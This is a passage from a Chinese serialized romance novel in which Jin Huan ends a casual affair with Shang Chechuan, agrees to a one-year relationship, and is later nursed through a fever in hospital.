见靳欢想了一会儿,似乎已经拿定了主意,陈瑞初也跟着放松下来,她插了一块白巧克力送到靳欢口中,好奇道,“欢欢,那你一点儿都没有喜欢商澈川吗?”
靳欢“唔”了声,“何止一点儿,都快算得上很喜欢了。”
这么久都没腻,她自己都惊讶。
一听她这话,陈瑞初就知道她根本没理解的自己意思,她想了想,补充道,“不是这种,就是那种想和对方永远在一起的喜欢?”
靳欢明白过来,回忆片刻,“没有过。”
不仅是对商澈川没有过,对别人也从来没有过。
所以她也根本理解不了婚姻。
除非是各玩各的,互不干涉,不然她真怕自己在婚姻内顶着道德压力也会偏离轨道。
靳欢打了个寒颤,摆摆手终止这个可怕话题,又拉着陈瑞初陪她一起想有什么适合道歉的礼物。
可惜半天过去也没想出什么来。
最后靳欢决定,等今晚见了面,让商澈川自己提得了。
……
晚上七点。
提前确认过商澈川已经从公司回来后,靳欢准时出现了秋华园别墅门口。
上次过来好似还是她刚从国外回来没多久,商澈川生病那一次。
别墅一楼仍然是她熟悉的摆设。
商澈川估计也是刚到家,身上脱了西装外套,但衬衫领带都还未换下。
可能是闻到了她身上有酒味,他倒了一杯热水过来,“要喝点醒酒汤么?这边应该有——”
“澈川哥——”见人要往厨房去,靳欢赶紧试图拦住他。
仓促之间,正好拉住了袖口处。
衬衫袖口是微微收紧的,其实不太好攥住,幸亏他今天戴了袖扣。
略带凉意的袖扣让她镇定了几分,靳欢抬头看去,
“澈川哥,后面我们不要在锦月湾见面了吧。”
商澈川回眸,似有不解,但仍旧点头尊重她的意见,“嗯,好,那以后我去接你过来?”
靳欢摇头,“不是这个意思。”
“那是什么意思?两处房子都不喜欢么?要不再买——”
“不关房子的事。”靳欢打断他,“我是说我们结束这段关系吧。”
她咬咬牙,不留退路,“结束这段床伴关系。”
商澈川眸色沉了下来,“你什么意思?”
“我说,我说我们结束这段床伴关系吧。”
“床伴关系?你是这样认为的?”
从昨晚到今天,终于等到这一句,靳欢反而没了之前的纠结担忧,而变得坦然起来,“是——唔——”
话未说完,就被人堵住了唇。
退无可退。
跌坐在沙发上。
不留余地的炙热,片刻而已,两个人都气息混乱起来。
半个月未曾这般亲密过,身体却依旧熟悉对方,在被唤醒记忆的瞬间,就已经迅速地给出反馈。
靳欢别过头,忍着对方炙热的呼吸喷在自己脖颈处带来的躁动和不安,张了张嘴,却突然又不知道说什么。
反倒是商澈川先一步打破了沉默,“靳欢,这样的玩笑并不好笑。”
“我没开玩笑。”
“那你现在是在干什么?这么强烈的反应,这里,还有这里?”他湿热唇瓣沿着她锁骨向下,每经过一处就故意停留住,抬眸看她,“在一点点变红变热,逐渐蔓延——”
靳欢绷紧嗓子,才勉强忍住不受控制的声音溢出。
她反驳,“身体的自然反应,换谁都一样。”
其实字与字之间急促的喘息,减少了这话的说服力。
可身上人大概已经被她这话气至极点,并未察觉,靳欢微微松口气,正要用力将人推开,动作却戛然而至——
呼吸再一次急促起来,甚至连带着思绪都有片刻的涣散。
微小的念头开始趁机膨胀,反正之前都已经睡过那么多次,多一次也无妨……吧?
她刚刚其实有说过谎,并非换谁都一样。
不然,她也不会直到如今都没厌倦。
好在脆弱的理智在将要溃解之时,身上人主动停住了挑|
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逗。
空气钻进衣领,靳欢陡然打了个寒颤。
商澈川察觉到,身体压低了些,他身上的热度挡住了冷意侵袭,靳欢眨眨眼,有些将至未至的茫然,“澈川哥?”
“怎么,想继续?”
靳欢下意识想点头,直到在触及他眸子里的暗涌沉色时,才恍然惊醒,满是懊恼,昨天才骂过自己色令智昏,今天就重蹈覆辙。
她挣扎了下,“澈川哥,我们要不好好聊一下?”
身上人没站起身来,也没应声,只定定看了她一眼,忽然低头——
鼻尖蹭过她脸颊,呼吸贴着呼吸。
不过这次并非之前那般具有侵略性,而是温和又悠长,一点点,缓慢又有耐心地缠着她。
离得太近,靳欢从他眸子里看见自己倒映其中。
她莫名有些紧张。
也是在这时,她听到他问,“你和别人,也会心跳到这样快么?”
确实很快。
靳欢自己一时都没联想到这是自己的心跳声。
这种陌生感觉带来的不安,让她瞬间迸发出防御的力量来,哪怕在他逼问的目光之下,说谎也不改口,
“心跳也是身体的一部分。”
像是终于死了心,纠缠的呼吸终于彻底松开。
商澈川先站起身来。
靳欢有些腰软,怕丢脸,干脆继续半躺着拥着他递过来毯子假装在冷静思考。
屋内只开了靠近厨房的那半边灯带,如今商澈川背对着光,靳欢抬头时有些看不清他神色,只听到他语气中似有自嘲,“等我一会,可以吗?”
靳欢老老实实“哦”了声。
“哦”完之后,才后知后觉发生了什么,尴尬把脸埋进毯子里。
她也因此错过了沙发旁男人临上楼前落过来的眼神。
其中从未有过什么愤怒和失望,只有深不见底的占有欲望和势在必得。
听见脚步声消失后,靳欢才扶着沙发背站起身来,一枚袖扣随着她的动作滚落在地,估计是刚刚从他袖口掉落下来的。
靳欢下意识去捡起来,却在看清这枚袖扣模样的瞬间又停了手,由着它滚落沙发底下。
整好毛衣衣领衣摆,到了卫生间准备洗个脸时,她才发现镜子里的人春意满面,眸光水润,连唇瓣都带着微微红肿。
她自认为在这方面一直游刃有余,这还是第一次这么狼狈,说是丢盔弃甲也不为过。
而且,甚至有点意犹未尽。
靳欢被这想法吓一跳,赶紧捧了一捧凉水拍在脸上,把这离谱念头赶出脑子。
楼上,冷水冲刷之下,论起身体的反应,商澈川其实并不比她好受多少,只是怕再继续下去真的走向失控,被她看出破绽,他才逼着自己停止罢了。
……
靳欢等得无聊,索性准备到冰箱里找找有没有饮料。
结果饮料还没看见,倒是在角柜上发现一瓶红酒。
——Baiserdebuit.
年份是1990。
目前有价无市。
得不得得到要看缘分的那种。
她许久之前就想尝一尝,可惜一直没机会。
楼梯处传来脚步声,靳欢下意识移开了步子,假装从没看见过那瓶红酒,打开冰箱,随手拿了一瓶饮料出来,结果手心沾了水汽,拧了两三次都没拧开。
正要再试时,面前忽然多了纸巾盒。
餐桌上养成的习惯,让她随手就抽了一张,顺便把饮料递了过去。
做完这一系列动作,才意识到不对,但对方已经接过她手中的饮料,甚至另换了一瓶荔枝味的,拧开盖子递了过来——
靳欢抿了抿唇,这不对吧,他是不是太冷静了些?
45. 威胁
她犹豫的刹那,面前人已经看了过来,眸子里有微微讽意,“怕我下毒?”
靳欢口中否定,心里却忽然踏实了点。
嗯,有脾气就好。
有脾气就代表有不满,有不满那就有消除不满的办法,也就有了讨论的余地。
靳欢坐在餐桌一头,支着脑袋,看着坐在对面的人,心里如是想。
沉默蔓延了约莫半分钟,商澈川抬眸淡淡扫了一眼过来,“不是要谈谈么?”
靳欢本想等他先开口,看看情况再说,但如今从他脸色中判断不出来什么有效信息来,只得先亮出底牌来,眸光坦荡,却也真诚,
“抱歉。”
这两个字一出,就相当于承认了自己处于错误的一方,后续哪怕再想辩解,再想反败为胜,也要被抓着这个把柄不放。
她不是敢做不敢当的性子。
从过来之前,就做好了承认的准备。
从她话音落下,沉默又开始新一轮的蔓延。
但事情到了这一步,靳欢倒也不着急了,在等待他开口的过程中,她甚至起身去冰箱里取了几块冰放到了杯子里。
只是端着冰块准备返回餐桌继续等待时,隔着十多步远,她本是随意看过去一眼,却忍不住愣了下。
偏暗灯光下,男人侧对着她而坐,半张脸昏暗不明,另外半张脸眸色微垂,不知是不是错觉,竟好似有几分落寞般。
她心跳漏了几拍。
一时之间分不清是为看见这画面时瞬间涌上的灵感而悸动,还是别的原因。
反正在脑子反应之前,就已经想要开口破坏掉这气氛。
但桌边人比他更快。
在她开口之前,商澈川就已经站起身来。
仿若她刚刚看到的刹那只是错觉罢了,他看过来时,眉眼里一时之间瞧着和往日并无大差,“送你回去?”
说完,便径直去拿了衣服和车钥匙。
靳欢不大明白他沉默了这么久就只说这个?眼看他就要出门,赶紧道,“澈川哥——”
玻璃门前,商澈川余光留意到她跟了过来,手下推到一半的门又松了力道,但任是如此,靳欢一靠近,仍是被刚才涌进的冷空气冲得打了个喷嚏。
商澈川皱眉,“你衣服呢?”
靳欢暂时顾不上这个,只疑惑看着他,“澈川哥,你没什么别的要说的吗?”
“说什么?”
他这么问,靳欢一时反而不知如何应答,尝试着组织语句,“比如,提出什么条件什么的?”
“条件?”
靳欢点头,“对。”
如果是她,她就不会放过这个机会。
商澈川定定看了她一眼,“我提了你会答应么?”
靳欢再次点头,“至少会尽力做到。”
“好——”
眼看他终于要说了,靳欢立马期待看去。抛开想要摆脱愧疚心理等原因不谈,她也是的的确确好奇他到底会提什么条件的。
毕竟她和瑞初两个人头脑风暴了半天,都完全没思绪。
商澈川一垂眸,就看见她眸子亮晶晶的,从他的角度,甚至可以看见锁骨处隐约留有的几处红痕。
他喉结微动,借着轻咳别开目光,藏去眼底的笑意,再开口,已是故意带上了几分漫不经心,“如果我说,要你再做我一年女朋友呢?”
啊?
什么?
靳欢懵了下,第一反应就是这未免太离谱,于是下意识就要拒绝——
可话还没出口,就先听到了一声嘲讽的轻笑,“哦,忘记了,不用说再,毕竟我们之前只是床伴。”
靳欢僵住口舌,有种“原来在这里等着自己呢”的感觉。
但——
她真心劝解,“澈川哥,我知道你很生气,但要不还是换个条件吧?”
单就这个条件来讲,她想不到对他有什么好处。
对她,也造不成什么伤害。
做她女朋友,对她的影响不就是一年之内不能交其他的男朋友嘛。
要知道,本来她回国前,就做好回到国内过清心寡欲的生活的,纵使没他,为了防止带来麻烦,她也大概率不会开启新感情,顶多顶多去夜场过过眼瘾罢了。
她一脸诚恳,却只得到一声轻“呵”,“去拿衣服。”
说罢,就直接看向外面,似是不想再理会她。眼不见,心不烦。
靳欢顺着看了一眼过去,外面雪已经越下越大,院子里之前保洁清扫好的小路都已经重新被积雪覆盖。
她迟疑片刻,看向他侧脸,“那一年后呢?”
“一年后,一切归零,当做从未发生过。”
“不公开可以吗?”
“随你。”
……
车上,靳欢侧眸看向正在开车的商澈川,有些微微走神。
纵使在他家中时话似乎已经说得很明白了,但回想起整个过程,她仍有种不真实感。
他真是认真的?没有任何玩笑的意思?
许是她目光停留太久,旁边人扫过来一眼,“后悔了?”
靳欢摇头,如实相告,“就是有些想不明白。”
商澈川没说话。
靳欢以为他没打算理会自己,干脆调整了下姿势,注备小眯一会儿,但正昏昏欲睡时,却忽然听见旁边人开口道,“我也想不明白。”
声音很低,几乎让靳欢错认为是她的错觉。
她睡意瞬间惊醒了大半。
她当然不会认为他想不明白的和自己想不明白的是同一件事。
他言下未尽之意,应是他想不明白她之前骗他的行为。
靳欢瞬间好像理解了他的逻辑。
其实没什么好解释的,或许他提出这个条件,就类似于表明她可以玩弄感情,他也可以一样。
但他们情况不同吧?
毕竟,她那时是真的喜欢他的。
包括现在,都依旧喜欢。
甚至在她看来,对身体和脸的喜欢要远比那种虚幻的爱还要真实可靠得多。
她认真问道,“澈川哥,那你喜欢我吗?”
车速依旧平稳,好像她问的不过是一句几点了。
商澈川没看她,语气里有些疑惑,“喜欢?”
靳欢活学活用,立马把今天瑞初问自己的话拿出来用,“就是那种想要永远和对方在一起的喜欢。”
她紧紧盯着他侧脸看,看见他脸上一闪而过的皱眉时,忽然有种找到了知己的快乐。
她忍不住笑,“澈川哥,你也理解不了对不对?”
就说嘛,这世界上自己这样的人肯定不在少数。
就是不知道,为何那么多人都没胆子承认。
她因此笑得开怀,但旁边人却好似误会了,眉头皱更深,“你是怕我一年后不肯分手?”
不知道他怎么联想到了这里,靳欢正
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要否定,却听得他已经继续道,“放心好了,就是喜欢也不会缠着你。”
这话乍听起来好似有些不留情面,但是靳欢却因此更安心了些。
她靠在椅背上,歪着脑袋看他,好奇道,“澈川哥,那你以后会结婚吗?”
“有必要的话。”
靳欢感叹,“果然人在豪门,身不由己。”
商澈川否定,“婚姻没什么不好。”
啊?
“但是结婚后就不可以和别人在一起了啊!”
她惊讶,对方却好似更惊讶,“为什么要和别人在一起?”
因为,因为——
靳欢突然想到他根本没谈过恋爱,所以可能根本理解不了什么叫热情褪去后无聊而又枯燥的生活。
不过理智主宰者的话,大概也不在乎这些?
她突然有些好奇他从心理医生那里学到了什么,这样想,也就这样问出了口。
没想到对方却忽然幽幽看了她一眼,靳欢心里有种不详预感,正要说这是他的隐私,是自己冒犯了,对方却已经面无表情开了口,
“学到了我和你之间是正常的情侣相处模式。”
……靳欢愤愤,那位成医生看着头衔一大堆,怎么能做出如此不靠谱的判定?
“所以,澈川哥,你为什么要去找心理医生啊?”靳欢问出最后一个想不明白的地方,“如果相处的不是我,你也会去咨询心理医生吗?”
“对于陌生领域,询问专业人士不对么?”
靳欢有些凌乱,求知欲是这么用的吗?
不过想想,按照他的人设,好似做出这样的决定也不是不可以。
当然最重要的是,所有她担心的点都没发生。
靳欢心情轻松,之前消散的困意重新袭来,后半程,没说几句话,就睡熟过去。
余光本就一直都在她身上,早她呼吸逐渐清浅之时,商澈川就抬手调高了空调温度,如今更是放慢了车速。
手心里微微有汗意,加速的心跳直到现在也未曾平复下来。
总算,总算把她心甘情愿地绑在了自己身边。
哪怕目前看来,时间似乎只有一年。
不过一年后就分手?她未免想得太简单了些。
红路灯路口,等待间隙,商澈川垂眸看向毫无防备睡在一旁的人,漆黑眸中带着笑意。
爱比欲望虚幻?
那可未必。
……
不过目前而言,欲望确实是他借以吸引住她的手段。
锦月湾——
沙发上,衣衫凌|乱,靳欢眼睛被领带挡住视线,那种明明知道客厅里所有灯都开着,但唯独自己看不见的不安让她几次三番想要揭开眼前遮挡,但却次次都被人精准预判,在将要碰到领带之前,被按住手腕。
且顺势留下牙印。
不疼,但酥麻顺着手腕中心向上延伸,整个胳膊都陷入软绵绵的无力。
渴望挣脱,又渴望碾压,借痛来驱散这种不上不下的躁|动。
可偏偏得不到满足,像是在故意折磨她。
她受不了了。
发脾气,又咬又踢,要让他滚,更后悔主动喊他上来。
可嗓子沙哑,发脾气都发不出来威势来,反倒是被他反过来咬住耳垂威胁,
“喊我。”
靳欢迷迷糊糊,汗意浸湿额发,下意识顺着问,
“喊什么?”
46. 委屈
半夜贪欢。
如同逆水行舟,被风浪吹拨摇晃到片刻不得缓息,以至于后来什么时候被抱着回到床上都完全不知情。
迷迷糊糊中,床上的抱枕被人拿走,她不满皱眉,下一瞬,手就被人牵引着放在了另一处温热处。
太过于熟悉,纵使意识不清,她也瞬间明白手心触摸的地方是他的腰间。
健康而富有生机的肌肉轮廓,哪怕只是欣赏,也拥有足够的美感。
在很多次,她困到极致被抱着洗澡时,就是直接耍赖把胳膊环在他腰间,埋头自顾自地睡,由着他去做事后的清洁。
熟悉带来安定。
靳欢忘了抱枕的事,把他的腰当做胳膊的支撑,再一次睡熟过去。
旁边,商澈川看见她眉头展开,适才刻意放轻的呼吸才恢复如常。
他还记得第一次一起睡时,哪怕她累到眼睛都睁不开,只要有人靠近,也会立马警觉,下意识向着床的另外一侧移动。
如今是终于能习惯自己睡在她旁边了么?
商澈川眼中忍不住多了些笑意,低头吻在她鼻尖。
无声道,晚安。
……
靳欢是被手机铃声吵醒的。
结果坐起来还没找到手机,自己倒是先头晕目眩到重新倒在了床上。
脑袋沉重到像是不是自己的,连带着嗓子鼻子全部都闷到窒息。
她脸埋在被子里,迷迷糊糊想起昨天从澜悦出来时,被风吹得连着打了好几个寒颤,当时还想过别回头酒后风寒头疼,但昨晚没见什么异常她就放松了警惕,没想到原来只是延迟了而已。
手机铃声还在催促她——
吵得让人心烦。
她胡乱摸索半天,终于找到了手机,点完接通键,才后知后觉是个陌生号码,但准备挂断前,里面已经传来熟悉的声音。
好不容易换新号码打通了一个电话,怕她没听完就挂断,商澄明语速飞快,迫不及待想把第一次公演的日期告诉靳欢,但是说到半晌忽然意识到了不对劲,
“欢欢,欢欢?你在听吗?”
靳欢脑袋在被子上蹭了蹭,“嗯……下次再说吧。”
现在说了她也记不住。她只想睡觉。
她声音里的不正常太明显了,商澄明一听到,立刻把什么公演什么日期地点的事都抛在了一旁,只急着问,“欢欢,你现在人在哪儿?看过医生了吗?等下,我打电话给伯母——”
听到他提起沈云岚,靳欢像是被水泥封住的脑袋倒是忽然惊醒了几分,挣扎着把手机拿近了些,“不许打,我人没事,已经在医院了,咳咳咳,行了,拜拜。”
说罢,不再给商澄明啰嗦的机会,直接挂断。
但是这么硬撑下去肯定不行。
眼压太高,连带着整个眼圈都胀痛难耐,靳欢硬顶着手机屏幕上的重影,打开外卖找到药店——
风寒感冒药。
退烧药。
消炎药。
退烧贴——
坏了,误点到了什么药……算了,等送过来再挑一挑吃什么吧……
下单,加急配送。
完成任务,抛开手机,裹上被子再次昏昏睡去。
就是睡到半晌,忽然想起,家里面应该是有药箱的。
现在起来吃?
她一动也懒得动,干脆耍赖地想,没准药箱里的药都过期了,不如现在老老实实躺着,等刚买的药送过来再吃好了。
……
前往机场的路上——
商澄明难掩面上急躁,一遍又一遍查询飞机航班。
可大雪天气,飞机延误,手机页面不停刷新,也仍是还不知道究竟几点可以起飞。
两周前的那晚,他离开锦月湾后,次日并没有立刻回剧组,而是直接又回了南市去见了他爸。
他是抱着沟通的态度回去的,但没想到最后父子俩还是吵了一架,不欢而散。
按照原计划,他是打算再次回到京市去见一面欢欢的。
至少他要和欢欢说明白,无论他爸说什么,永远都代表不了他的态度。但是没想到,当时人在南市准备出发时,却忽然接到剧组的电话,说是投资人想见他一面。
话里话外,都是如果他不能及时去,就有可能撤资。
无奈之下,只能临时换了航班。
再然后就是紧锣密鼓做最后的排练,毕竟公演日期已经,门票都已经在进行预售。
而现在眼前这一日半的假期,是十分钟前他被挂断电话后,直接去找了总导演要来的。也多亏了最近三次的大排练,他都没出过差错,不然导演还真不一定同意他这个节点上请假。
若是依着他以前的脾气,不管导演给不给假,都肯定照走不误。
但现在——
商澄明深吸一口气,试图压下烦躁。
既然说好要做出一番摸样来,就肯定要好好做,不然自己永远都只是商家的一个不起眼的挂件。
那样子的自己,永远也跟不上欢欢的脚步。
他想起几年前在酒吧里烂醉的那段时间,最后是他妈带人过来直接把他拖回了家,几句话把他骂了个透彻,
“我不知道你喜欢的究竟是谁,但是我敢肯定没有哪个女孩子会喜欢一个无所事事的酒鬼。”
现在,他参演的第一部大型话剧终于快要公演了。
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思绪纷飞,再回神,不过才仅仅过去了一分钟而已。
商澄明手机页面停留在和“沈伯母”的对话框里,犹豫再三,还是选择了关掉。
备用机的短信处,他刚刚发出去的好多条短信,统统都没回应。再打电话过去,也没人接。
是她自己一个人在医院吗?
……言承呢,没有陪着她一起吗?
商澄明眉头皱紧,打开社交媒体APP,许是搜索过太多关于言承的行踪,首页已经自动推送——
看清图片的瞬间,他就已经冷笑出声,呵?半小时前在综艺节目被路人偶遇?
这是当的狗屁男朋友,不如趁早滚远点!
他眼中怒气遮挡不住,让几次欲要聊天的司机都没敢开口,最终只默默问了句,“小伙子,这边堵车了,绕个路可以不?”
商澄明低声“嗯”了声,手下已经快速拨通了一个号码——
对面一接通,他就不自觉坐直了身子,“哥?”
京市,高乔,会议室——
见其他人都瞬间安静下来,商澈川微微抬手,示意继续,自己则径直起身走到落地窗前,压低声音,“什么事?”
“哥,你现在有时间吗?可不可以帮我去看看欢欢?”
商澈川步子顿住,“她怎么了?”
“她发烧生病了,人在医院——”
“哪家医院?”
余光示意助理安排司机到车上等着,同时已经直接按下电梯前往停车场。
“她也没说,我现在联系不上她,她也不让我告诉伯母,哥,你能不能安排人先帮我查一下在哪家医院?然后喊个人先陪着她,我晚些——哥?哥?喂?”
挂断电话,直接拨通另外一个号码,可惜的确无人接通。
再次尝试语音通话,依旧无果。
商澈川眉眼间冷意更甚,一边安排助理去查另外几家有可能的医院,一边上车直接道,“去中医二院——”
距离锦月湾最近的两家医院分别是中医二院和市四院,但她大学时有次生病,在四院住过一周,很是讨厌四院,应是不太可能主动过去——
主动?
“等下——”
司机闻言,踩了急刹,停在路边。
商澈川抬眸,语气笃定,“去锦月湾。”
……
听到开门声响时,靳欢正在被窝里缩成一团。
被角被人掀开,她迷迷糊糊抬眼,看清来人后,呆呆几秒,才从浆糊般的脑子里挤出了几个字,“澈川哥,我家里暖气好像坏了。”
多少有点委屈。
如果不是冷气坏了,她怎么会这么冷?
47. 冰水
一句话,到了末尾几个字嗓子就已经哑到将要变成气声。
要多可怜有多可怜。
商澈川一路担心,本来多少有些气她生病了却不去医院也不接电话,如今却半点儿脾气也无,只气自己早上不该直接去公司。
如果上午自己在这里陪着她吃了午饭,何至于让她难受了这么久都没人发现。
距离她起热已经不知过去了几个小时。
脑海里随之浮现她在睡梦中皱着眉头忍着不舒服的模样,商澈川呼吸一窒,再开口时,语气忍不住轻之又轻,“嗯,我回头喊人来修。”
靳欢裹着被子,意识还没清醒,“不要回头,现在就修。”
她说什么,他都只顺着她说,“好,我现在打电话。”
靳欢满了意,直接将脸重新埋在枕头上,又把被子向上扯了扯,试图蒙住脑袋——
但是却左右都扯不动。
试了两三次,眉眼间烦躁已经在积攒,正准备直接把这讨厌的被子通通都扔到地上时,唇边忽然多了一抹微凉甜意。
是奶昔果冻。
而且还是荔枝味。
“张嘴。”
哦——
张嘴——
甜味钻进口腔里,冲淡了里面一直莫名充斥着的苦涩。
商澈川动作小心,但速度并不慢,趁着她懵懵的这几秒钟中,已经直接把被子从她手中抽离,又迅速将刚刚拿过来的大衣穿在她身上。
扶着她坐在床沿,弯腰给她穿鞋子。
这么一番折腾,靳欢终于分得清眼前这一切是现实而不是梦境。
她缓慢眨了眨眼,意识到自己双手还环在正半跪在地上帮自己穿鞋子的某人的脖子上,脑袋也是有气无力靠在他肩头——
多少有点不好意思。
“澈川哥,我自己可以穿——”
靳欢收回手,借力撑在床沿坐直身子,试图挣脱开他的手要自己穿鞋,但下一瞬,忽然被人捏了捏脚腕,力道不重,但是——
酥麻感却突然升起。
陌生又莫名熟悉的感觉,让她一时忘记了挣扎。
再回神,两只脚鞋子都已经穿好。
见她低着头看着鞋子疑惑又呆愣,商澈川不由感到好笑,怎么,难道她自己都没发现,她脚腕靠后侧的那块很敏感么?
在床上,就是如此。每次要跑时,被捏一下,就软了力气。
她家里的大部分地方他都十分熟悉,起身收拾东西要带的东西不过半分钟,回到床边来带她时,还顺便将两三分钟前贴在她额头的退烧贴重新换了一个。
把宽檐绒帽罩在她头上,戴好围巾,低声嘱咐了句“扶着我”,便直接拦腰将人抱起。
靳欢确实一步也不想走,被抱起后,下意识想,他不嫌累,愿意抱着就随他好了。
只是走到了门口,一开门,被外面的冷空气一吹,才忽然明白过来这是要去哪儿。
她忍着嗓子疼痛开口,“我买了药。”
“嗯。”
抬手按电梯。
“我吃药就行了。”
“嗯。”
进入电梯,等待下行。
“我不去医院!”
“好,不去。”
电梯到了一楼,发出“叮”得一声。
靳欢生气,结果脾气还没发出来,倒是给自己气出了一阵急咳,脸色潮红,眼角沁出湿润。
商澈川见状,怕她气到了自己,忙开口道歉,“好好好,我错了。”
靳欢不理他,待缓过气来,直接偏头一口狠狠咬了一口上去。
没留一点儿情。
她敢肯定,咬上去的瞬间听到的他倒吸一口冷气的声音绝非作伪。
靳欢舒服了,抬眸得意看着他,“是你自——”
嗓子哑成这样,还说话,不知道疼么?
商澈川皱眉,直接替她说完后面的话,“是我自找的。”
靳欢愣了下,又听到他说低头,便下意识低了低头,再抬头,眼前已经是车内座椅。
啊?
她反手抓住他要关车门的胳膊——
商澈川顺着她的力道停住动作,正当靳欢以为他终于知道错了时,却忽然听到他开口道,“不想看《离别》了吗?”
空气似乎停止流动。
车门关上,司机接收到眼神信号,开始启动车子。
车内挡板升起,窸窣声音之下,靳欢终于回神,眸中难掩震惊,“是哪幅——”
商澈川将杯中温水送到她唇边,“就是你想的那一幅。”
靳欢还要再问个清楚,触及他威胁的眼神,立马服软,老老实实一口气喝了半杯,才迫不及待开口,“怎么可能,不是传言被火烧了么?”
她高烧未退,声音嘶哑,但此刻谈及自己心心念念多年的画作,眸子里却瞬间迸发出无限渴望的亮光来。
在水雾之下,像是永不熄灭的火焰。
商澈川上一刻还在懊恼她这般闹一闹,自己就抛出了这样重要的筹码,但此刻,却又忽然觉得抛出去倒也没什么不好。
筹码不就是拿来用的吗?
能哄着她乖乖去看医生,就是发挥了足够的价值。
“在古堡着火之前,画作已经被转移了位置。”
“所以,那幅画现在是在?”
等待答案时,靳欢感觉自己的一颗心都提到了嗓子眼,心跳声吵得她头晕目眩。
商澈川从没见过她这般忐忑的眼神。
可惜人看着自己,痴迷却是冲着画作去的。
再理智的人,在这样的时刻,也难免吃味,“在商家。”
哪怕没生病,靳欢也根本察觉不到空气中的酸味,如今更是一无所觉,只顾着追问他,“我可以去看看吗?我可不可以去看看?”
前方就是医院。
商澈川垂眸看了眼时间,抬手将她因为嫌热摘下的帽子重新帮她戴好。
到底是不忍心再钓着她,直接给了明确时间,“两周后。”
靳欢追问,“从今天开始算起还是从明天?”
商澈川气笑,“明天”两个字才出口一半,就戛然而止。
她主动亲吻时,很少会选择唇部。
这是第一次。
而且用了技巧,一反往常他缠着她时,她总是懒懒散散很少回应。偶有被他挑|逗到难忍,也是发脾气咬他居多。
即使那样,他也往往失控其中。不用多,她一个眼神,一点儿嗓音就够了。
而现在他才知道,什么叫招架不了一点儿。
在被唇瓣柔软香甜吸引完全失神前,商澈川第一次庆幸,幸好自己出生在商家。
幸好,那幅传奇画作《离别》就在商家。
在心里默念无数遍“她在高烧,需要看医生”,商澈川才终于逼着自己从这一场蛊惑中脱开身来。
直接将她帽檐下压,整张脸都盖住,商澈川打开车门,率先下车,打开车门深吸了几口冷气,才弯腰去抱车里的人。
不待她开口,主动道,“今天。”
怀中人老实了。
一路十分配合。
只是将要进门前,忽然小声道,“能不能从昨天开始算起?”
……
病毒性高烧。
旁人可能吃个药睡一觉就好了,但是靳欢吃过药后体温根本降不下来。
她自小体质就好,很少生病,可是一旦生病,总是要折腾得比别人多一些。
正因为此,商澈川才坚持带她来医院。
果不其然,在医生的建议下先吃了对症药物,但是接近一个半小时都仍旧无法退烧,中间辅助物理降温起了些许效果,但是很快又反扑上来。
最后无奈,还是只得输液。
病床上,靳欢终于得到等她病一好就带她去看画的承诺,心安
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定下来,昏昏睡去。
等到两瓶药液输尽,已是下午六点多。
她想回家,但是商澈川不同意,靳欢只坚持了一秒,就干脆放弃。
听他的。
都听他的。
在她看到画作之前,这些事儿都是小事。
靳欢心情大好,连最讨厌的医院都感觉其实也不错,比如,这白色墙壁就挺耐看的。
而事实证明,商澈川不同意回家是对的。
晚上九点多,靳欢先是开始发冷,短短一会儿,体温就升到了比下午时还高。
她人倒是没有再闹腾了,但是安安静静躺在床上却更让人心疼。
从护士进来悬挂输液袋,商澈川眉头就没松开过。
靳欢看见,忍不住打趣他,“澈川哥,你这个样子,好像等下要被扎针的是你一样。”
商澈川跟着笑了下,配合她的玩笑,“我确实怕这个。”
但是笑意却始终难以掩盖眼底的担心。
要真是自己生病,倒也好了。
靳欢却信以为真,毕竟这人是连吃药都讨厌的人,怕这个更是再正常不过了。
她抿了抿唇,“澈川哥,要不你先回去吧?帮我叫个阿姨在这里就行了。”
商澈川闻言,也不反驳她,“嗯,等你睡着就回去。”
靳欢“哦”了声,没了要说的话,再加上药中安眠成分,没多大会就睡着过去。
迷迷糊糊中,感觉被人扶着喂了几口水。等到再次醒来,旁边椅子上已经没了人影。
她烧还没退,眼睛看东西依旧隐隐有些模糊,所以在想要继续眯一会前,看见门口突然出现的身影时还以为是商澈川,下意识便道,“澈川哥,你怎么还没回——”
话说到一半,因来人急切的声音而止住。
靳欢眨眨眼,“Denen?”
商澄明额发凌乱,汗意明显,“呼,幸好没找错地方!”
他哥人找不到,电话也一直联系不上,他没办法,只能想着从距离锦月湾比较近的两家医院开始找起,没想到那么幸运,第一次就找到了。
靳欢还以为是商澈川告诉他的医院地址,所以并不疑惑,只是奇怪他怎么从哈市回来了。
但商澄明一时顾不上回应她的话,只拉着进来换液的护士再三询问,直至确认靳欢没有大事才微微松口气。
他把椅子拉进了些,“我打你电话一直没人接,又,又,就是刚好有假期嘛,在剧组也没事干,就回来了。”
靳欢这才想起自己手机都不知道去哪儿了。
她脸色苍白,说话声也不大。
从进入病房到现在的几分钟里,商澄明就已经脑补完她自己一个人撑着病体来到医院就诊的过程,一时之间,只觉得心又酸又涩,恨不能替她受了所有的苦。
在奔波过来的路上,他原还想过等见到了她,一定要说这种时刻言承都不在,还不如一脚把言承踢开换成他,但此刻却完全想不起来这些话,只顾着问她有没有哪里不舒服,有没有什么法子缓解。
饿不饿,冷不冷,热不热。
靳欢如今单线程的脑子反应这一大串的问题着实疲惫,摇摇头,最后只说想喝冰水。
里面放了冰块的那种。
病房里有冰箱,但现冻也要一会儿。商澄明问了护士得知一楼有现成的后,立马拿了杯子去了一楼。
靳欢前一阵本也没睡多久,商澄明出去后,她耐不住困意,再次睡着。
等到听到有人在她耳边说张口喝水时,她眼皮正沉重得睁都睁不开,直接就着杯口张开嘴,喝了四五口,杯子移开后,她才后知后觉意识到这不是冰水。
皱着眉头,不满呓语。
声音太小了,根本听不清,床边人只得俯身离近些。
这一下,果然听清了。
她说的是,
“Denden,我要喝冰水。”
48. 恋爱
气不过,但又不能真把人怎么着。
床边人脸色冷着,但最终也不过低头咬了下她的唇瓣以作惩戒。
说是咬,但力道太轻,估计半点痛感也无。
至少靳欢就完全没察觉,还在一味惦记冰水的事情。
而就像是为了回应她的呓语般,病房大门忽然被人推开,青年人急切的声音响起,“欢欢,冰水来——”
声音在看到床边身影时戛然而止,商澄明愣住,“哥,你在医院啊?”
他说话间,身后一起过来的人也来到了门口。
商澈川余光注意到,不动声色站起身来,对着来人问好,“伯母,伯父。”
靳欢在商澄明声音响起时就已经醒了,只不过还有些迷糊,此刻随着商澈川转身,她抬眼看去的刹那,顿时彻底清醒过来,
“爸,妈?你们怎么在这儿?”
见她整个人虚脱到连坐起来都费劲,沈云岚又是生气又是心疼,“要不是刚刚在楼下遇见了澄明,我还不知道你生病了,怎么,生病连我也要瞒着?”
